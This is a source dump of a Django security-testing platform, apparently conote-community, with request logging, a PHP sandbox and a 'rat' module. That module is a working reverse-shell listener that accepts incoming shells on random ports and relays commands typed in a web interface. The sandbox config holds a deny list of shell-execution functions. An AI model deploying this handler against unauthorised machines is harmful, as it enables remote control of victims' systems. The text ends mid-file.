4 | {{ widget.input_text }}:{% endif %} 5 | 6 | -------------------------------------------------------------------------------- /app/log/templatetags/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/templatetags/__init__.py -------------------------------------------------------------------------------- /app/log/templatetags/template_helper.py: -------------------------------------------------------------------------------- 1 | import re 2 | import base64 3 | 4 | from django import template 5 | from django.utils.encoding import force_str 6 | from django.template.defaultfilters import stringfilter 7 | from django.conf import settings 8 | from django.utils.html import conditional_escape, strip_tags 9 | from django.utils.safestring import mark_safe 10 | from django.db.models import Count, F 11 | 12 | 13 | register = template.Library() 14 | VIEWER_PATTERN = re.compile(b'[^\x20-\x7E\x0A]') 15 | 16 | 17 | @register.filter 18 | def remove_unobservable(data): 19 | data = VIEWER_PATTERN.sub(b'.', data) 20 | return force_str(data) 21 | 22 | 23 | @register.filter(is_safe=True) 24 | @stringfilter 25 | def base64encode(data: str): 26 | return base64.b64encode(data.encode(errors='ignore')).decode() 27 | -------------------------------------------------------------------------------- /app/log/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/log/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path, re_path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'log' 7 | urlpatterns = [ 8 | path('', views.IndexList.as_view(), name='index'), 9 | path('refresh/api/', views.RefreshApiKey.as_view(), name='refresh-apikey'), 10 | 11 | path('weblog/list/', views.WebLogList.as_view(), name='weblog-list'), 12 | path('weblog//', views.WebLogDetail.as_view(), name='weblog-detail'), 13 | path('weblog//delete/', views.WebLogDelete.as_view(), name='weblog-delete'), 14 | 15 | path('dnslog/list/', views.DNSLogList.as_view(), name='dnslog-list'), 16 | path('delete/', views.LogDelete.as_view(), name='log-delete'), 17 | 18 | path('note/list/', views.NoteList.as_view(), name='note-list'), 19 | re_path('^note/create/(?Ptext|file|code|article)/$', views.NoteCreate.as_view(), name='note-create'), 20 | 21 | path('note//delete/', views.NoteDelete.as_view(), name='note-delete'), 22 | path('note//update/', views.NoteUpdate.as_view(), name='note-update'), 23 | path('note//preview/', views.NotePreview.as_view(), name='note-preview'), 24 | 25 | path('shortdomain/list/', views.ShortDomainList.as_view(), name='shortdomain-list'), 26 | path('shortdomain/create/', views.ShortDomainCreate.as_view(), name='shortdomain-create'), 27 | path('shortdomain//update/', views.ShortDomainUpdate.as_view(), name='shortdomain-update'), 28 | path('shortdomain//delete/', views.ShortDomainDelete.as_view(), name='shortdomain-delete'), 29 | 30 | path('dns_record/', views.DNSRecordUpdate.as_view(), name='dns-record'), 31 | ] 32 | -------------------------------------------------------------------------------- /app/rat/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.rat.apps.RatConfig' 2 | -------------------------------------------------------------------------------- /app/rat/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /app/rat/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class RatConfig(AppConfig): 5 | name = 'app.rat' 6 | label = 'rat' 7 | verbose_name = '远程控制' 8 | -------------------------------------------------------------------------------- /app/rat/consumers.py: -------------------------------------------------------------------------------- 1 | from defusedxml.xmlrpc import monkey_patch, unmonkey_patch 2 | monkey_patch() 3 | 4 | import json 5 | import logging 6 | import xmlrpc.client 7 | import channels.layers 8 | from asgiref.sync import async_to_sync 9 | from channels.generic.websocket import WebsocketConsumer 10 | from django.conf import settings 11 | 12 | logger = logging.getLogger('conote') 13 | RPC_SERVER = f"http://{settings.RPC_SETTING['HOST']}:{settings.RPC_SETTING['PORT']}" 14 | 15 | 16 | class RatConsumer(WebsocketConsumer): 17 | def connect(self): 18 | logger.info('incoming a connect') 19 | 20 | self.user = self.scope["user"] 21 | self.serid = self.scope['url_route']['kwargs']['serid'] 22 | 23 | if not self.user.is_authenticated: 24 | return self.close() 25 | 26 | with xmlrpc.client.ServerProxy(RPC_SERVER, use_builtin_types=True, allow_none=True) as self.client: 27 | connection = self.client.get_connection(self.user.id, self.serid) 28 | 29 | if connection: 30 | self.serid_group_name = 'rat_%s' % self.serid 31 | async_to_sync(self.channel_layer.group_add)( 32 | self.serid_group_name, 33 | self.channel_name 34 | ) 35 | 36 | self.accept() 37 | self.send(text_data=json.dumps({ 38 | 'output': connection['output'] 39 | })) 40 | else: 41 | self.close() 42 | 43 | def disconnect(self, close_code): 44 | logger.info('closed a connect') 45 | async_to_sync(self.channel_layer.group_discard)( 46 | self.serid_group_name, 47 | self.channel_name 48 | ) 49 | 50 | def receive(self, text_data=None, byte_data=None): 51 | logger.info('receive message %r', text_data) 52 | data = json.loads(text_data) 53 | command = data['command'] 54 | 55 | self.client.execute(self.user.id, self.serid, command.encode()) 56 | 57 | def send_output(self, event): 58 | output = event['output'] 59 | 60 | # Send message to WebSocket 61 | self.send(text_data=json.dumps({ 62 | 'output': output 63 | })) 64 | -------------------------------------------------------------------------------- /app/rat/engine/__init__.py: -------------------------------------------------------------------------------- 1 | from .manager import SocketManager 2 | -------------------------------------------------------------------------------- /app/rat/engine/connection.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | import time 3 | import datetime 4 | import typing 5 | import selectors 6 | import threading 7 | from channels.layers import get_channel_layer 8 | from asgiref.sync import async_to_sync 9 | 10 | from .globals import sel, logger 11 | channel_layer = get_channel_layer() 12 | 13 | 14 | if typing.TYPE_CHECKING: 15 | from .listener import Listener 16 | 17 | 18 | def get_micro_second(): 19 | return time.time() * 1000 20 | 21 | 22 | class Connection(object): 23 | def __init__(self, listener: 'Listener'): 24 | self.serid = str(uuid.uuid4()) 25 | self.listener = listener 26 | self.sock, self.address_port = listener.sock.accept() 27 | self.locker = threading.Lock() 28 | 29 | self.sock.setblocking(False) 30 | sel.register(self, selectors.EVENT_READ, self) 31 | 32 | self._output = [] 33 | self.created_time = datetime.datetime.now() 34 | 35 | def fileno(self): 36 | return self.sock.fileno() 37 | 38 | def handler(self): 39 | data = self.sock.recv(1024) 40 | if data: 41 | self._output.append(data) 42 | async_to_sync(channel_layer.group_send)( 43 | "rat_%s" % self.serid, 44 | { 45 | "type": "send_output", 46 | "output": self.output 47 | } 48 | ) 49 | else: 50 | self.listener.remove_connection(self) 51 | 52 | logger.info('closing %s:%d', self.address, self.port) 53 | self.close() 54 | 55 | def close(self): 56 | sel.unregister(self) 57 | self.sock.close() 58 | 59 | self._output.clear() 60 | 61 | def send(self, data): 62 | with self.locker: 63 | self.sock.send(data) 64 | 65 | def is_dup(self): 66 | """ 67 | 同一IP地址的连接,只允许3个 68 | 69 | :return: 70 | """ 71 | 72 | i = 3 73 | for connection in self.listener.connections: 74 | if connection.address == self.address: 75 | i -= 1 76 | 77 | if i <= 0: 78 | return True 79 | 80 | return False 81 | 82 | @property 83 | def address(self): 84 | return self.address_port[0] 85 | 86 | @property 87 | def port(self): 88 | return self.address_port[1] 89 | 90 | @property 91 | def output(self): 92 | return b''.join(self._output).decode(encoding='utf-8', errors='ignore') 93 | -------------------------------------------------------------------------------- /app/rat/engine/globals.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import selectors 4 | 5 | from collections import UserDict 6 | from django.utils.crypto import get_random_string 7 | 8 | 9 | class ListenContainer(UserDict): 10 | def walk(self): 11 | for id, listener in self.items(): 12 | for connection in listener.connections: 13 | yield connection 14 | 15 | def close(self): 16 | for listener in self.values(): 17 | listener.close() 18 | 19 | self.clear() 20 | 21 | 22 | port_range = range(42333, 42666) 23 | sel = selectors.DefaultSelector() 24 | 25 | # logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) 26 | logger = logging.getLogger('conote') 27 | -------------------------------------------------------------------------------- /app/rat/engine/listener.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | import random 3 | import socket 4 | import selectors 5 | 6 | from collections import UserDict 7 | from tenacity import retry, stop_after_attempt, retry_if_exception_type 8 | 9 | from .globals import sel, logger 10 | from .connection import Connection 11 | 12 | 13 | port_range = range(42333, 42666) 14 | 15 | 16 | @retry(stop=stop_after_attempt(10), retry=retry_if_exception_type(OSError)) 17 | def bind_a_free_port(sock): 18 | port = random.choice(port_range) 19 | sock.bind(('0.0.0.0', port)) 20 | 21 | return port 22 | 23 | 24 | class Listener(object): 25 | def __init__(self, id): 26 | self.id = id 27 | 28 | self.sock = socket.socket() 29 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 30 | self.port = bind_a_free_port(self.sock) 31 | 32 | self.sock.listen(5) 33 | self.sock.setblocking(False) 34 | sel.register(self, selectors.EVENT_READ, self) 35 | 36 | self.connections = [] 37 | 38 | def handler(self): 39 | connection = Connection(self) 40 | if connection.is_dup(): 41 | connection.close() 42 | else: 43 | logger.info('connect from %s', connection.address) 44 | self.connections.append(connection) 45 | 46 | def fileno(self): 47 | return self.sock.fileno() 48 | 49 | def close(self): 50 | for connection in self.connections: 51 | connection.close() 52 | 53 | self.connections.clear() 54 | 55 | sel.unregister(self) 56 | self.sock.close() 57 | logger.info('unbind 0.0.0.0 %d', self.port) 58 | 59 | def remove_connection(self, target): 60 | for i, connection in enumerate(self.connections): 61 | if connection.fileno() == target.fileno(): 62 | self.connections.pop(i) 63 | 64 | def get_connection(self, serid, fallback=None): 65 | for connection in self.connections: 66 | if serid == connection.serid: 67 | return connection 68 | 69 | return fallback 70 | -------------------------------------------------------------------------------- /app/rat/engine/manager.py: -------------------------------------------------------------------------------- 1 | import time 2 | import selectors 3 | import threading 4 | 5 | from .listener import Listener 6 | from .globals import sel, logger, ListenContainer 7 | 8 | 9 | class SocketManager(object): 10 | def __init__(self, container: ListenContainer=None): 11 | if container is None: 12 | container = ListenContainer() 13 | 14 | self.container = container 15 | 16 | def serve_forever(self): 17 | keep_alive_activity = time.time() 18 | while True: 19 | if not len(self.container): 20 | time.sleep(0.1) 21 | continue 22 | 23 | try: 24 | events = sel.select() 25 | for key, mask in events: 26 | if mask & selectors.EVENT_READ: 27 | objecter = key.data 28 | objecter.handler() 29 | # 30 | # if time.time() - keep_alive_activity > 30.0: 31 | # for connection in self.container.walk(): 32 | # connection.send(b'\x20') 33 | except OSError as e: 34 | logger.exception(e) 35 | time.sleep(1) 36 | continue 37 | 38 | def add_listener(self, id): 39 | if id not in self.container: 40 | self.container[id] = Listener(id) 41 | logger.info('bind 0.0.0.0 %d', self.container[id].port) 42 | 43 | return self.container[id] 44 | 45 | def get_listener(self, id) -> Listener: 46 | return self.container.get(id, None) 47 | 48 | def get_connection(self, id, serid): 49 | connection = None 50 | listener = self.get_listener(id) 51 | 52 | if listener: 53 | connection = listener.get_connection(serid, None) 54 | 55 | return connection 56 | 57 | def close(self, id=None): 58 | if id: 59 | listener = self.get_listener(id) 60 | if listener: 61 | listener.close() 62 | self.container.pop(id) 63 | else: 64 | for listener in self.container.values(): 65 | listener.close() 66 | self.container.clear() 67 | 68 | def __enter__(self): 69 | return self 70 | 71 | def __exit__(self, exc_type, exc_val, exc_tb): 72 | self.close() 73 | -------------------------------------------------------------------------------- /app/rat/management/commands/rat.py: -------------------------------------------------------------------------------- 1 | from defusedxml.xmlrpc import monkey_patch, unmonkey_patch 2 | monkey_patch() 3 | 4 | import time 5 | import logging 6 | import threading 7 | from pathlib import Path 8 | from xmlrpc.server import SimpleXMLRPCServer, SimpleXMLRPCRequestHandler 9 | 10 | from django.contrib.auth import get_user_model 11 | from django.core.management.base import BaseCommand 12 | from django.conf import settings 13 | from django.utils.crypto import get_random_string 14 | 15 | from app.rat.engine import SocketManager 16 | 17 | 18 | User = get_user_model() 19 | logger = logging.getLogger('conote') 20 | 21 | 22 | class Controller(object): 23 | def __init__(self, manager: SocketManager): 24 | self.manager = manager 25 | 26 | def get_listener(self, user_id): 27 | listener = self.manager.get_listener(user_id) 28 | return dict( 29 | port=listener.port, 30 | connections=[dict( 31 | serid=connection.serid, 32 | address=connection.address, 33 | port=connection.port, 34 | created_time=connection.created_time 35 | ) for connection in listener.connections] 36 | ) if listener is not None else None 37 | 38 | def create_listener(self, user_id): 39 | listener = self.manager.add_listener(user_id) 40 | return listener.port 41 | 42 | def stop_listener(self, user_id): 43 | self.manager.close(user_id) 44 | 45 | return True 46 | 47 | def get_connection(self, user_id, serid): 48 | connection = self.manager.get_connection(user_id, serid) 49 | if connection is None: 50 | return None 51 | else: 52 | return dict( 53 | serid=connection.serid, 54 | address=connection.address, 55 | port=connection.port, 56 | output=connection.output, 57 | created_time=connection.created_time 58 | ) 59 | 60 | def execute(self, user_id, serid, command: bytes): 61 | connection = self.manager.get_connection(user_id, serid) 62 | if connection is not None: 63 | connection.send(b"%s\n" % command.strip()) 64 | else: 65 | return b'' 66 | 67 | 68 | class Command(BaseCommand): 69 | help = 'Start the RAT main process' 70 | 71 | def start_daemon_server(self): 72 | logger.info('start daemon server') 73 | t = threading.Thread(target=self.manager.serve_forever) 74 | t.daemon = True 75 | t.start() 76 | 77 | def handle(self, *args, **options): 78 | with SimpleXMLRPCServer(addr=(settings.RPC_SETTING['HOST'], settings.RPC_SETTING['PORT']), use_builtin_types=True, allow_none=True) as self.server, \ 79 | SocketManager() as self.manager: 80 | self.start_daemon_server() 81 | 82 | self.server.register_introspection_functions() 83 | self.server.register_instance(Controller(self.manager)) 84 | self.server.serve_forever() 85 | -------------------------------------------------------------------------------- /app/rat/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/rat/migrations/__init__.py -------------------------------------------------------------------------------- /app/rat/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | -------------------------------------------------------------------------------- /app/rat/templatetags/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/rat/templatetags/__init__.py -------------------------------------------------------------------------------- /app/rat/templatetags/rat_helper.py: -------------------------------------------------------------------------------- 1 | from django import template 2 | from conote.ipdata.parser import IPData 3 | 4 | 5 | register = template.Library() 6 | 7 | 8 | @register.filter 9 | def location(data): 10 | data = IPData().find(data) 11 | return '/'.join(data.strip().split()) 12 | -------------------------------------------------------------------------------- /app/rat/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/rat/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path, re_path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'rat' 7 | urlpatterns = [ 8 | path('list/', views.ClientList.as_view(), name='rat-list'), 9 | path('detail//', views.ClientManager.as_view(), name='rat-detail'), 10 | path('execute/', views.CommandExecute.as_view(), name='rat-execute'), 11 | ] 12 | -------------------------------------------------------------------------------- /app/rat/views.py: -------------------------------------------------------------------------------- 1 | from defusedxml.xmlrpc import monkey_patch, unmonkey_patch 2 | monkey_patch() 3 | 4 | from pathlib import Path 5 | import xmlrpc.client 6 | 7 | from django.views import generic 8 | from django.core.exceptions import PermissionDenied 9 | from django.http.response import JsonResponse 10 | from django.shortcuts import get_object_or_404, redirect, resolve_url, render 11 | from pure_pagination.mixins import PaginationMixin 12 | from django.contrib.auth.mixins import AccessMixin, LoginRequiredMixin 13 | from conote.mixin import ReturnBackMixin, LogUrlMixin, VipRequiredMixin 14 | from django.contrib.auth import get_user_model 15 | from django.conf import settings 16 | from django.http import Http404 17 | 18 | 19 | from . import models 20 | User = get_user_model() 21 | 22 | 23 | RPC_SERVER = f"http://{settings.RPC_SETTING['HOST']}:{settings.RPC_SETTING['PORT']}" 24 | 25 | 26 | class RPCMixin(object): 27 | def dispatch(self, request, *args, **kwargs): 28 | try: 29 | with xmlrpc.client.ServerProxy(RPC_SERVER, use_builtin_types=True, allow_none=True) as self.client: 30 | response = super().dispatch(request, *args, **kwargs) 31 | except ConnectionRefusedError: 32 | return render(request, '500.html', context=dict(errors='守护进程未启动')) 33 | 34 | return response 35 | 36 | 37 | class ClientList(VipRequiredMixin, RPCMixin, generic.TemplateView): 38 | template_name = 'rat/list.html' 39 | 40 | def get_context_data(self, **kwargs): 41 | data = self.client.get_listener(self.request.user.id) 42 | 43 | kwargs['object_list'] = data['connections'] if data else [] 44 | kwargs['address'] = settings.O_SERVER_IP 45 | kwargs['port'] = data['port'] if data else None 46 | 47 | return super().get_context_data(**kwargs) 48 | 49 | def post(self, request, *args, **kwargs): 50 | start = request.POST.get('start', None) 51 | stop = request.POST.get('stop', None) 52 | 53 | if start: 54 | self.client.create_listener(request.user.id) 55 | elif stop: 56 | self.client.stop_listener(request.user.id) 57 | 58 | return redirect('rat:rat-list') 59 | 60 | 61 | class ClientManager(VipRequiredMixin, RPCMixin, generic.TemplateView): 62 | template_name = 'rat/detail.html' 63 | 64 | def get_context_data(self, **kwargs): 65 | kwargs['object'] = self.client.get_connection(self.request.user.id, self.kwargs['pk']) 66 | if kwargs['object'] is None: 67 | raise Http404() 68 | 69 | return super().get_context_data(**kwargs) 70 | 71 | 72 | class CommandExecute(VipRequiredMixin, RPCMixin, generic.View): 73 | def post(self, request, *args, **kwargs): 74 | serid = request.POST.get('serid') 75 | command = request.POST.get('command') 76 | 77 | self.client.execute(request.user.id, serid, command.encode()) 78 | return JsonResponse(dict(status='success')) 79 | 80 | def get(self, request, *args, **kwargs): 81 | serid = request.GET.get('serid') 82 | connection = self.client.get_connection(self.request.user.id, serid) 83 | 84 | if connection is None: 85 | raise Http404() 86 | 87 | output = connection['output'].decode(encoding='utf-8', errors='ignore') 88 | return JsonResponse(dict(status='success', output=output)) 89 | -------------------------------------------------------------------------------- /app/sandbox/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.sandbox.apps.SandboxConfig' 2 | -------------------------------------------------------------------------------- /app/sandbox/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | from . import models 4 | 5 | 6 | @admin.register(models.CodeBox, site=admin.site) 7 | class CodeBoxAdmin(admin.ModelAdmin): 8 | list_display = ('title', 'get_absolute_url', 'type', 'user', 'created_time') 9 | readonly_fields = ('created_time', 'last_modify_time') 10 | search_fields = ('title', ) 11 | fieldsets = ( 12 | (None, { 13 | 'fields': ('title', 'code', 'type', 'user') 14 | }), 15 | ('信息', { 16 | 'classes': ('wide',), 17 | 'fields': readonly_fields 18 | }), 19 | ) 20 | -------------------------------------------------------------------------------- /app/sandbox/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class SandboxConfig(AppConfig): 5 | name = 'app.sandbox' 6 | label = 'sandbox' 7 | verbose_name = '代码沙盒' 8 | -------------------------------------------------------------------------------- /app/sandbox/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.4 on 2018-04-13 18:02 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | import uuid 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | initial = True 12 | 13 | dependencies = [ 14 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 15 | ] 16 | 17 | operations = [ 18 | migrations.CreateModel( 19 | name='CodeBox', 20 | fields=[ 21 | ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False, verbose_name='ID')), 22 | ('title', models.CharField(max_length=256, verbose_name='标题')), 23 | ('code', models.TextField(verbose_name='代码')), 24 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 25 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 26 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 27 | ], 28 | options={ 29 | 'ordering': ['-created_time'], 30 | 'verbose_name_plural': '代码盒子', 31 | 'verbose_name': '代码盒子', 32 | }, 33 | ), 34 | ] 35 | -------------------------------------------------------------------------------- /app/sandbox/migrations/0002_codebox_type.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.4 on 2018-04-14 09:25 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('sandbox', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='codebox', 15 | name='type', 16 | field=models.CharField(choices=[('php-5.6', 'PHP 5.6'), ('php-7.2', 'PHP 7.2')], default='php-5.6', max_length=32, verbose_name='类型'), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /app/sandbox/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/sandbox/migrations/__init__.py -------------------------------------------------------------------------------- /app/sandbox/models.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | from pathlib import Path 3 | 4 | from django.db import models 5 | from django.contrib.auth import get_user_model 6 | from django.conf import settings 7 | from conote.const import SANDBIX_CHOICE 8 | 9 | 10 | User = get_user_model() 11 | 12 | 13 | class CodeBox(models.Model): 14 | id = models.UUIDField('ID', default=uuid.uuid4, editable=False, primary_key=True) 15 | title = models.CharField('标题', max_length=256) 16 | code = models.TextField('代码') 17 | type = models.CharField('类型', max_length=32, choices=SANDBIX_CHOICE, default='php-5.6') 18 | 19 | user = models.ForeignKey( 20 | settings.AUTH_USER_MODEL, 21 | verbose_name='用户', 22 | on_delete=models.CASCADE 23 | ) 24 | 25 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 26 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 27 | 28 | def __str__(self): 29 | return self.title 30 | 31 | class Meta: 32 | ordering = ['-created_time'] 33 | verbose_name = '代码盒子' 34 | verbose_name_plural = verbose_name 35 | 36 | def get_absolute_url(self): 37 | return '{}://{}.{}/{}.php'.format( 38 | settings.O_SERVER_SCHEME, 39 | self.user.domain, 40 | settings.O_SERVER_DOMAIN, 41 | str(self.pk) 42 | ) 43 | 44 | def delete(self, using=None, keep_parents=False): 45 | filename = Path(settings.SANDBOX_ROOT) / str(self.user_id) / (str(self.id) + '.php') 46 | if filename.exists(): 47 | filename.unlink() 48 | 49 | return super().delete(using, keep_parents) 50 | -------------------------------------------------------------------------------- /app/sandbox/php/conote-php.ini: -------------------------------------------------------------------------------- 1 | disable_functions = system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,ini_set,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,error_log 2 | disable_classes = GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator 3 | open_basedir = /tmp/:/data/conote/sandbox/ 4 | post_max_size = 2M 5 | memory_limit = 32M 6 | default_charset = utf-8 7 | upload_max_filesize = 2M 8 | date.timezone = Asia/Shanghai 9 | allow_url_fopen = Off 10 | enable_dl = Off 11 | sys_temp_dir = /tmp/ 12 | upload_tmp_dir = /tmp/ 13 | request_order = GP 14 | max_execution_time = 10 15 | -------------------------------------------------------------------------------- /app/sandbox/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/sandbox/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path, re_path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'sandbox' 7 | urlpatterns = [ 8 | path('sandbox/list/', views.SandboxList.as_view(), name='sandbox-list'), 9 | path('sandbox/create/', views.SandboxCreate.as_view(), name='sandbox-create'), 10 | 11 | path('sandbox//delete/', views.SandboxDelete.as_view(), name='sandbox-delete'), 12 | path('sandbox//update/', views.SandboxUpdate.as_view(), name='sandbox-update'), 13 | ] 14 | -------------------------------------------------------------------------------- /app/sandbox/views.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | 3 | from django.views import generic 4 | from django.core.exceptions import PermissionDenied 5 | from django.shortcuts import render 6 | from django.shortcuts import get_object_or_404, redirect, resolve_url 7 | from pure_pagination.mixins import PaginationMixin 8 | from django.contrib.auth.mixins import AccessMixin, LoginRequiredMixin 9 | from conote.mixin import ReturnBackMixin, LogUrlMixin 10 | from django.contrib.auth import get_user_model 11 | from django.conf import settings 12 | from django.db.models import Count, Q 13 | 14 | from . import models 15 | User = get_user_model() 16 | 17 | 18 | class SandboxList(LoginRequiredMixin, PaginationMixin, ReturnBackMixin, LogUrlMixin, generic.ListView): 19 | paginate_by = 15 20 | template_name = 'sandbox/list.html' 21 | 22 | def get_queryset(self): 23 | queryset = self.request.user.codebox_set.all() 24 | if 'type' in self.request.GET: 25 | queryset = queryset.filter(type=self.request.GET['type']) 26 | 27 | if 'query' in self.request.GET: 28 | query = self.request.GET.get('query', '') 29 | queryset = queryset.filter(Q(title__icontains=query) | Q(code__icontains=query)) 30 | 31 | return queryset 32 | 33 | def get_context_data(self, *, object_list=None, **kwargs): 34 | statistics = {'all': 0} 35 | for d in self.request.user.codebox_set.all().values('type').annotate(cnt=Count('id')).order_by(): 36 | if d['type'] == 'php-5.6': 37 | statistics['php56'] = d['cnt'] 38 | elif d['type'] == 'php-7.2': 39 | statistics['php72'] = d['cnt'] 40 | statistics['all'] += d['cnt'] 41 | 42 | if 'php56' not in statistics: 43 | statistics['php56'] = 0 44 | if 'php72' not in statistics: 45 | statistics['php72'] = 0 46 | 47 | kwargs['statistics'] = statistics 48 | return super(SandboxList, self).get_context_data(object_list=object_list, **kwargs) 49 | 50 | 51 | class SandboxCreate(LoginRequiredMixin, ReturnBackMixin, generic.CreateView): 52 | template_name = 'sandbox/form.html' 53 | model = models.CodeBox 54 | fields = [ 55 | 'title', 56 | 'type', 57 | 'code' 58 | ] 59 | 60 | def form_valid(self, form): 61 | form.instance.user = self.request.user 62 | return super().form_valid(form) 63 | 64 | def get_success_url(self): 65 | if 'sae' in self.request.POST: 66 | return resolve_url('sandbox:sandbox-update', pk=self.object.pk) 67 | 68 | return super().get_success_url() 69 | 70 | 71 | class SandboxUpdate(LoginRequiredMixin, ReturnBackMixin, generic.UpdateView): 72 | template_name = 'sandbox/form.html' 73 | fields = [ 74 | 'title', 75 | 'type', 76 | 'code' 77 | ] 78 | 79 | def get_queryset(self): 80 | return self.request.user.codebox_set.all() 81 | 82 | def get_success_url(self): 83 | if 'sae' in self.request.POST: 84 | return resolve_url('sandbox:sandbox-update', pk=self.object.pk) 85 | 86 | return super().get_success_url() 87 | 88 | 89 | class SandboxDelete(LoginRequiredMixin, ReturnBackMixin, generic.DeleteView): 90 | get = generic.DeleteView.http_method_not_allowed 91 | 92 | def get_queryset(self): 93 | return self.request.user.codebox_set.all() 94 | -------------------------------------------------------------------------------- /app/ucenter/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.ucenter.apps.UcenterConfig' 2 | -------------------------------------------------------------------------------- /app/ucenter/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django.contrib.auth.admin import UserAdmin 3 | from django.utils.translation import gettext, gettext_lazy as _ 4 | from django.db import transaction 5 | from django.db.models import F 6 | 7 | from . import models 8 | 9 | 10 | class MyUserAdmin(UserAdmin): 11 | fieldsets = ( 12 | (None, {'fields': ('username', 'password', 'token')}), 13 | (_('Personal info'), {'fields': ('first_name', 'last_name', 'email')}), 14 | (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser', 'is_vip', 15 | 'groups', 'user_permissions')}), 16 | (_('Important dates'), {'fields': ('last_login', 'date_joined')}), 17 | ) 18 | list_display = ('username', 'email', 'is_vip', 'is_staff', 'is_superuser', 'date_joined') 19 | list_display_links = ('username', ) 20 | list_filter = ('is_staff', 'is_superuser', 'is_active', 'is_vip') 21 | actions = ['set_vip'] 22 | 23 | @transaction.atomic 24 | def set_vip(self, request, queryset): 25 | queryset.update(is_vip=True) 26 | set_vip.short_description = '切换为VIP用户' 27 | 28 | 29 | admin.site.register(models.User, MyUserAdmin) 30 | -------------------------------------------------------------------------------- /app/ucenter/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class UcenterConfig(AppConfig): 5 | name = 'app.ucenter' 6 | label = 'ucenter' 7 | verbose_name = '用户模块' 8 | -------------------------------------------------------------------------------- /app/ucenter/forms.py: -------------------------------------------------------------------------------- 1 | import copy 2 | 3 | from django import forms 4 | from django.core import exceptions 5 | 6 | from . import models 7 | from conote.field import MyCheckboxInput, MyClearableFileInput, HeadersField 8 | 9 | 10 | PLACE_HEADERS = '''X-XSS-Protection: 0 11 | Access-Control-Allow-Origin: * 12 | Content-Security-Policy: default-src 'self' 13 | X-Frame-Options: ALLOW-FROM https://example.com/ 14 | X-Content-Type-Options: nosniff; 15 | ''' 16 | 17 | 18 | class OptionForm(forms.Form): 19 | ignore_note = forms.BooleanField(label='忽略笔记', help_text='不记录笔记包含的URI', required=False) 20 | default_status_code = forms.IntegerField(label='默认状态码', help_text='文件不存在时返回的状态码', initial=200) 21 | filter = forms.CharField( 22 | label='URI白名单', 23 | help_text='只记录匹配上这个通配符的URI,*表示多个字符,?表示一个字符, |表示或者。' 24 | '黑白名单同时存在时,只考虑白名单,留空则忽略。', 25 | required=False, 26 | widget=forms.Textarea(attrs={ 27 | 'placeholder': "*.action|*.do" 28 | }) 29 | ) 30 | drop = forms.CharField( 31 | label='URI黑名单', 32 | help_text='不记录匹配上这个通配符的URI,*表示多个字符,?表示一个字符, |表示或者。' 33 | '黑白名单同时存在时,只考虑白名单,留空则忽略。', 34 | required=False, 35 | widget=forms.Textarea(attrs={ 36 | 'placeholder': "robots.txt|favicon.ico" 37 | })) 38 | headers = HeadersField( 39 | label='HTTP头', 40 | 